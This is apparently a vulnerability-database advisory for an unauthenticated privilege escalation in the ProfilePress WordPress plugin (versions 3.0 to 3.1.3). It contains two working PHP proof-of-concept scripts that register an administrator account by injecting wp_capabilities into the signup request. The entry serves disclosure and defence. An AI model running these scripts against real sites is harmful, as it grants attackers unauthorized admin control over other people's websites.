WordPress Plugin Vulnerabilities
ProfilePress 3.0 - 3.1.3 - Unauthenticated Privilege Escalation
Description
The user registration functionality of the plugin allowed arbitrary user meta to be supplied, including wp_capabilities, during registration which made it possible for users to register as an administrator.
Proof of Concept
<?php // Settings $wp_url = $argv[1]; // Update Settings $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'reg_username' => 'Hax0r', 'reg_email' => 'Hax0r@Hax0r.com', 'reg_password' => 'password', 'reg_password_present' => 'true', 'reg_first_name' => 'Hax0r', 'reg_last_name' => 'Hax0r', 'wp_capabilities[administrator]' => '1', 'action' => 'pp_ajax_signup', 'melange_id' => '' ]); $output = curl_exec($ch); curl_close($ch); print_r($output); ?> or <?php // Settings $wp_url = $argv[1]; // Update Settings $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $wp_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'reg_username' => 'Hax0r', 'reg_email' => 'Hax0r@Hax0r.com', 'reg_password' => 'password', 'reg_password_present' => 'true', 'reg_first_name' => 'Hax0r', 'reg_last_name' => 'Hax0r', 'wp_capabilities[administrator]' => '1', 'reg_submit' => '1', 'melange_id' => '' ]); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
Affects Plugins
References
Classification
Type
PRIVESC
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Chloe Chamberland
Submitter
Chloe Chamberland
Submitter website
Submitter twitter
Verified
No
WPVDB ID
Timeline
Publicly Published
2021-06-28 (about 2 years ago)
Added
2021-06-28 (about 2 years ago)
Last Updated
2022-01-17 (about 2 years ago)